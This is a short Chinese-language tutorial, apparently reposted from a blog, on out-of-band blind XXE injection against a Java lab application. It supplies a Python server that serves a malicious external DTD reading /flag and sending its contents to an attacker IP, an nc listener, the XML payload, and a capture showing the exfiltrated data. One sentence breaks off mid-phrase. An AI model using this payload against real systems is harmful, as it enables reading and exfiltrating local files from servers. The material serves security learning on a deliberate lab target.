我们需要提前准备一台拥有公网IP地址的服务器,假定它的IP为:49.235.252.161,它做两件事
1、接收靶机的外部DTD请求并返回对应内容(下面是用Python编写的一个最简单的HTTP服务)
# -*- coding: utf-8 -*-
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
data = """
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % wrapper "<!ENTITY send SYSTEM ‘http://49.235.252.161:9999/%flag;‘>">
%wrapper;
"""
host = (‘‘, 8888)
class Resquest(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header(‘Content-type‘, ‘application/json‘)
self.end_headers()
self.wfile.write(data)
if __name__ == ‘__main__‘:
server = HTTPServer(host, Resquest)
print("Starting http server, listen at: %s:%s" % host)
server.serve_forever()
2.、监听端口,用于获取靶机发送过来的flag
nc -lvvk 9999
Payload 如下(标签元素仅供参考)
<!DOCTYPE user SYSTEM "http://49.235.252.161:8888" [
<!ELEMENT user (#PCDATA)>
]>
<user>
<username>&send;</username>
<password>pwd</password>
</user>
效果如下(flag%7Babcde%7D 就是我们要获取的 /flag 文件的内容)
[root@VM_0_9_centos ~]# nc -lvvk 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 221.239.127.18.
Ncat: Connection from 221.239.127.18:44115.
GET /flag%7Babcde%7D HTTP/1.1
Host: 49.235.252.161:9999
User-Agent: Java/11.0.7
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
经过我的实验发现,当XML解析器未对
可以改为使用参数实体将数据带出来,参考 https://xz.aliyun.com/t/3357
不过我实测没有成功
测试所使用的Web应用:https://github.com/c0ny1/xxe-lab/tree/master/java_xxe
out-of-band XXE 带外实体注入(盲注) Payload
原文:https://www.cnblogs.com/zbmcz/p/13278371.html